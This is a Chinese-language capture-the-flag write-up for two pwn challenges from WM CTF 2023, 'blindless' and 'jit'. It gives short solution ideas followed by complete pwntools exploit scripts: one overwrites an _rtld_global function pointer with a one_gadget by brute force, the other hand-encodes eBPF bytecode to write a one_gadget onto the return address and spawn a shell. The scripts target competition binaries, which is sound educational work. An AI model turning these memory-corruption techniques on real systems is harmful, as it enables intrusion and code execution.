WM CTF 2023 pwn
WM CTF 2023 pwn
总结
比赛打了两天,本人菜鸡一枚,就做了一道blindless。jit这题做题时出现了重大失误,没有去查简介里提到的eBPF,等联队的队友反应过来给我发了文档的时候我已经逆向逆的头皮发麻无力再做了。
blindless
思路
一开始data的size没有检查,如果size填写的足够大,data起始指针会指向由mmap创建的内存区域。这段内存会在libc地址前的一个固定位置,利用@指令去让data指针增大一个固定值,就可以穿过libc指向_rtld_global内的函数指针,之后可以低位覆盖三个字节将其覆盖成onegadget去打exit_hook,概率为1/4096,需要爆破,大约需要爆好几分钟。
没有利用到程序给的后门,不知道是不是非预期。
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'
ELFpath='/home/wjc/Desktop/main'
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so'
#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
#p=remote('123.60.179.52',30098)
e=ELF(ELFpath)
#libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x14cc)
'''.format(text_base, libc_base)
# b*$rebase(0x124f)
#b*$rebase(0x1220)
# b*$rebase(0x887b)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def pwn():
ru("Pls input the data size\n")
sl("1048576")
ru("Pls input the code size\n")
sl("256")
ru("Pls input your code\n")
pay="@"+p32(0x101000-0x10)+'@'+p32(0x222f68)+'.\xfe@'+p32(1)+'.\x6a@'+p32(1)+'.\xebq'
pay=pay.ljust(0x100,'\x00')
s(pay)
sl('cat /flag')
rut('flag{')
#debug()
#pwn()
#it()
#0x222f68
#eb 6a fe
if __name__=='__main__':
while(1):
try:
#p=process(ELFpath)
p=remote('1.13.101.243',27000)
pwn()
it()
break
except:
p.close()
jit
思路
首先,这题不需要逆向,有一份现成文档:Unofficial eBPF spec
送进去的字节码会被编译执行。严格来说,这题不是VM,这题应该归类为限制输入内容的shellcode
我们可以利用寄存器残留获得相关基址。注意这题src和dst这两个字段是由范围限制的。这两个字段关系到操作的寄存器,rsp是不能用的。不过寄存器能用的很多,够用了。
可以利用0x7b这个字节码操作符,向栈上返回地址写onegadget。但是写之前应该先泄露一下libc版本,去main函数里面找一个cout,控制rsi就行了(rbx残留了text地址)
EXP
有一段program是泄露libc版本的,被我注释了。这一段用完之后就不需要了。
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/jit'
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so'
p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
#p=remote('1.13.101.243',26386)
e=ELF(ELFpath)
#libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x858e)
b*$rebase(0x2931)
c
set $shellcode=$rax
'''.format(text_base, libc_base)
#b*$rebase(0x43a0)
#
# b*$rebase(0x124f)
#b*$rebase(0x1220)
# b*$rebase(0x887b)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def mov(dst,src):
code='bf'
code+=hex(0x100+regs.index(src)*0x10+regs.index(dst))[-2:]
code+='00'*6
return code
def add_imm(dst,imm):
code='07'
code+=hex(0x110+regs.index(dst))[-2:]
code+=hex(0x10000)[-4:]
code+=hex(0x100000000+((imm&0xff)<<24)+(((imm>>8)&0xff)<<16)+(((imm>>16)&0xff)<<8)+((imm>>24)&0xff))[-8:]
return code
def sub_imm(dst,imm):
code='17'
code+=hex(0x110+regs.index(dst))[-2:]
code+=hex(0x10000)[-4:]
code+=hex(0x100000000+((imm&0xff)<<24)+(((imm>>8)&0xff)<<16)+(((imm>>16)&0xff)<<8)+((imm>>24)&0xff))[-8:]
return code
def xor_reg(dst,src):
code='af'
code+=hex(0x100+regs.index(src)*0x10+regs.index(dst))[-2:]
code+='00'*6
return code
def stdxw_reg(dst,src,off):
code='7b'
code+=hex(0x100+regs.index(src)*0x10+regs.index(dst))[-2:]
code+=hex(0x10000+(off&0xff)*0x100+(off//0x100))[-4:]
code+='00'*4
return code
def stdxw_imm(dst,imm,off):
code='7a'
code+=hex(0x110+regs.index(dst))[-2:]
code+=hex(0x10000+(off&0xff)*0x100+(off//0x100))[-4:]
code+=hex(0x100000000+((imm&0xff)<<24)+(((imm>>8)&0xff)<<16)+(((imm>>16)&0xff)<<8)+((imm>>24)&0xff))[-8:]
return code
#debug()
ru('Program: ')
regs=['rax', 'rdi', 'rsi', 'rdx', 'r9', 'r8', 'rbx', 'r13', 'r14', 'r15', 'rbp']
program=''
# # #leak libc_version
# #0x270a
# leak_libc_version=0x270a
# mummap=0xDE98
# program+=sub_imm('rbx',0xe088) #rbx:text_base
# program+=mov('rdi','rbx')
# program+=add_imm('rdi',leak_libc_version)
# program+=mov('rsi','rbx')
# program+=add_imm('rsi',mummap)
# program+=stdxw_reg('rbp','rdi',0x28)
'''
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
program+=sub_imm('r14',0x53b480)
program+=mov('rdi','r14')
program+=add_imm('rdi',0xe3b04)
program+=xor_reg('rsi','rsi')
program+=xor_reg('rdx','rdx')
program+=stdxw_reg('rbp','rdi',0x28)
sl(program)
ru('Memory: ')
sl(0x1000*'a')
# mumap_addr=u64(ru('\x7f')[-6:].ljust(8,'\x00'))
# LOGTOOL['mummap']=mumap_addr
# LOGALL()
it()